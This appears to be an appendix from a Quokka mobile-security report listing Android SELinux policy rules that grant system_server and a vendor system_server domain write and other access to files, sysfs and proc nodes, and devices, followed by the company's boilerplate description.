(allow system_server staging_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server staging_data_file (file (ioctl read write create getattr setattr lock append map unlink link rename open watch watch_reads)))
(allow system_server staging_data_file (lnk_file (ioctl read write create getattr setattr lock append map unlink link rename open watch watch_reads)))
(allow system_server system_app_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server system_app_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server app_data_file_type (file (read write getattr append map)))
(allow system_server media_rw_data_file (file (read write getattr append)))
(allow system_server wallpaper_file (file (ioctl read write getattr lock append map unlink rename open watch watch_reads)))
(allow system_server shortcut_manager_icons (dir (ioctl read write create getattr setattr lock relabelto rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server shortcut_manager_icons (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server ringtone_file (dir (ioctl read write create getattr setattr lock relabelto rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server ringtone_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server icon_file (file (ioctl read write getattr lock append map unlink open watch watch_reads)))
(allow system_server cache_file (dir (ioctl read write create getattr setattr lock relabelfrom rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server cache_recovery_file (dir (ioctl read write create getattr setattr lock relabelfrom rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server cache_file (file (ioctl read write create getattr setattr lock relabelfrom append map unlink rename open watch watch_reads)))
(allow system_server cache_recovery_file (file (ioctl read write create getattr setattr lock relabelfrom append map unlink rename open watch watch_reads)))
(allow system_server cache_file (fifo_file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server cache_recovery_file (fifo_file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server gps_control (file (ioctl read write getattr lock append map open watch
watch_reads)))
(allow system_server appdomain (fifo_file (read write getattr)))
(allow system_server cache_backup_file (dir (ioctl read write getattr lock open watch watch_reads
add_name remove_name search)))
(allow system_server cache_backup_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server cache_private_backup_file (dir (ioctl read write create getattr setattr lock
rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server cache_private_backup_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server usb_device (chr_file (ioctl read write getattr lock append map open watch
watch_reads)))
(allow system_server fscklogs (dir (write remove_name)))
(allow system_server sysfs_lowmemorykiller (file (write getattr lock append map open)))
(allow system_server sysfs_zram (file (ioctl read write getattr lock append map open watch
watch_reads)))
(allow system_server frp_block_device (blk_file (ioctl read write getattr lock append map open
watch watch_reads)))
(allow system_server cgroup_v2 (dir (ioctl read write create getattr setattr lock rename open watch
watch_reads add_name remove_name reparent search rmdir)))
(allow system_server fingerprintd_data_file (dir (ioctl read write getattr lock relabelto open watch
watch_reads remove_name search rmdir)))
(allow system_server fuse_device (chr_file (ioctl read write getattr)))
(allow system_server app_fuse_file (file (read write getattr)))
(allow system_server configfs (dir (ioctl read write create getattr setattr lock rename open watch
watch_reads add_name remove_name reparent search rmdir)))
(allow system_server configfs (file (write create getattr unlink open)))
(allow system_server postinstall (fifo_file (write)))
(allow system_server update_engine (fifo_file (write)))
(allow system_server preloads_data_file (dir (ioctl read write getattr lock open watch watch_reads
remove_name search rmdir)))
(allow system_server preloads_media_file (dir (ioctl read write getattr lock open watch
watch_reads remove_name search rmdir)))
(allow system_server debugfs_wifi_tracing (file (ioctl read write getattr lock append map open
watch watch_reads)))
(allow system_server fs_bpf (file (read write)))
(allow system_server profman_dump_data_file (file (write create getattr setattr lock append map
open)))
(allow system_server profman_dump_data_file (dir (write lock open add_name remove_name
search)))
(allow system_server functionfs (file (ioctl read write getattr lock append map open watch
watch_reads)))
(allow system_server font_data_file (file (ioctl read write create getattr setattr lock append map
unlink rename open watch watch_reads)))
(allow system_server font_data_file (dir (ioctl read write create getattr setattr lock rename open
watch watch_reads add_name remove_name reparent search rmdir)))
(neverallow system_server sdcard_type (dir (read write open)))
(neverallow system_server sdcard_type (file (ioctl read write getattr lock append map open watch
watch_reads)))
(neverallow system_server base_typeattr_806 (blk_file (ioctl read write create setattr lock relabel-
from append unlink link rename open watch watch_mount watch_sb watch_with_perm
watch_reads)))
(allow system_server system_server_startup_tmpfs (file (read write map)))
(allow system_server sysfs_wake_lock (file (ioctl read write getattr lock append map open watch
watch_reads)))
(allow system_server apex_appsearch_data_file (dir (ioctl read write create getattr setattr lock
rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apex_appsearch_data_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server apex_permission_data_file (dir (ioctl read write create getattr setattr lock
rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apex_permission_data_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server apex_scheduling_data_file (dir (ioctl read write create getattr setattr lock
rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apex_scheduling_data_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server apex_wifi_data_file (dir (ioctl read write create getattr setattr lock rename
open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apex_wifi_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server password_slot_metadata_file (dir (ioctl read write getattr lock open watch
watch_reads add_name remove_name search)))
(allow system_server password_slot_metadata_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server userspace_reboot_metadata_file (dir (ioctl read write create getattr setattr
lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server userspace_reboot_metadata_file (file (ioctl read write create getattr setattr
lock append map unlink rename open watch watch_reads)))
(allow system_server staged_install_file (dir (ioctl read write getattr lock open watch watch_reads
add_name remove_name search)))
(allow system_server staged_install_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server watchdog_metadata_file (dir (ioctl read write getattr lock open watch
watch_reads add_name remove_name search)))
(allow system_server watchdog_metadata_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server gsi_persistent_data_file (dir (ioctl read write getattr lock open watch
watch_reads add_name remove_name search)))
(allow system_server gsi_persistent_data_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server odrefresh_data_file (dir (ioctl read write getattr lock open watch watch_reads
add_name remove_name search)))
(allow system_server proc_pressure_mem (file (ioctl read write getattr lock append map open
watch watch_reads)))
(allow system_server_startup system_server_startup_tmpfs (file (read write getattr map)))
(allow system_server_startup system_server_startup_tmpfs (file (read write map execute open)))
(allow system_server system_server_tmpfs (file (read write getattr map)))
(allow system_server appdomain_tmpfs (file (read write getattr map)))
(allow system_server domain (file (write lock append map open)))
```

```
(allow system_server proc_uid_cputime_removeuid (file (write getattr lock append map open)))
(allow system_server proc_uid_procstat_set (file (write getattr lock append map open)))
(allow system_server proc_sysrq (file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server stats_data_file (dir (read write open remove_name search)))
(allow system_server selinuxfs (file (write lock append map open)))
(allow system_server sysfs_android_usb (file (write lock append map open)))
(allow system_server sysfs_ipv4 (file (write lock append map open)))
(allow system_server sysfs_nfc_power_writable (file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server sysfs_power (file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server sysfs_uhid (file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server sysfs_vibrator (file (write append)))
(allow system_server sysfs_usb (file (write lock append map open)))
(allow system_server gpu_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server input_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server tty_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server usbaccessory_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server video_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server rtc_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server audio_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server tun_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server_31_0 vendor_wlan_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server_31_0 hal_audio_default (file (write lock append map open)))
(allow system_server_31_0 vendor_sysfs_sensors (file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server_31_0 vendor_sysfs_graphics (file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server_31_0 vendor_sysfs_wigig (file (ioctl read write getattr lock append map open watch watch_reads)))
(allow system_server_31_0 dhcp_data_file_31_0 (dir (write)))
(allow system_server_31_0 dhcp_data_file_31_0 (file (write)))
(allow system_server_31_0 carrier_file (file (read write create getattr open)))
(allow system_server_31_0 carrier_file (dir (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads add_name search)))
(allow system_server_31_0 m1120_device (chr_file (ioctl read write open)))
(allow system_server_31_0 ndt_device (chr_file (ioctl read write open)))
(allow system_server_31_0 ndt_proc (file (read write getattr open)))
(allow system_server_31_0 resourcecache_data_file_31_0 (dir (ioctl read write create getattr
setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server_31_0 resourcecache_data_file_31_0 (file (ioctl read write create getattr
setattr lock append map unlink rename open watch watch_reads)))
(allow system_server_31_0 sysfs_thermal_31_0 (file (write open)))
(allow system_server_31_0 syna_proc (file (read write getattr open)))
(allow system_server_31_0 sdlog (fifo_file (write)))
(allow system_server_31_0 iris2p_device (chr_file (ioctl read write getattr lock append map open
watch watch_reads)))
(allow system_server_31_0 proc_hdr_set (file (read write getattr setattr open)))
(allow system_server_31_0 sysfs_usbscript (file (read write getattr open)))
(allow system_server_31_0 sys_proc (file (read write getattr open)))
(allow system_server_31_0 sysfs_healthd (file (read write getattr open)))
(allow system_server_31_0 proc_hbm_set (file (read write getattr setattr open)))
(allow system_server_31_0 proc_aod_set (file (read write getattr setattr open)))
(allow system_server_31_0 proc_fps_get (file (read write getattr setattr open)))
(allow system_server_31_0 proc_color_gamut_set (file (read write getattr setattr open)))
(allow system_server_31_0 proc_lcd_global_hbm_get (file (read write getattr setattr open)))
(allow system_server_31_0 proc_lcd_fod_unlock_status_set (file (read write getattr setattr open)))
(allow system_server_31_0 proc_lcd_dbi_read_set (file (read write getattr setattr open)))
(allow system_server_31_0 proc_lcd_elvdd_set (file (read write getattr setattr open)))
(allow system_server_31_0 proc_lspot_set (file (read write getattr setattr open)))
(allow system_server_31_0 proc_thermal_max_brightness_set (file (read write getattr setattr
open)))
(allow system_server_31_0 battery_record_data_file (file (read write getattr)))
(allow system_server_31_0 getlog (fifo_file (write)))
(allow system_server_31_0 syna_proc (file (write getattr open)))
(allow system_server_31_0 sysfs_zswresumeparam (file (read write getattr open)))
(allow system_server_31_0 sysfs_zswsrcoffparam (file (read write getattr open)))
(allow system_server_31_0 vendor_log_data_file (dir (write add_name remove_name search)))
(allow system_server_31_0 vendor_log_data_file (file (write create append unlink open)))
```

Quokka

About Quokka

Quokka is a mobile security company, trusted by the Fortune 500 and governments worldwide to reduce their mobile attack surface. Formerly Kryptowire, the company was founded in 2011 with grants from DARPA and NIST, becoming the first and longest-standing mobile app security solution for the US Federal Government. Quokka's Contextual Mobile Security Intelligence is app risk intelligence that uncovers what lurks in mobile apps—malicious behaviors, zero day threats, privacy risks, and compliance gaps. Powered by multiple detection engines and machine learning, it cuts through the noise to deliver precise, actionable insights that plug key gaps in enterprise mobile detection capabilities.

www.quokka.io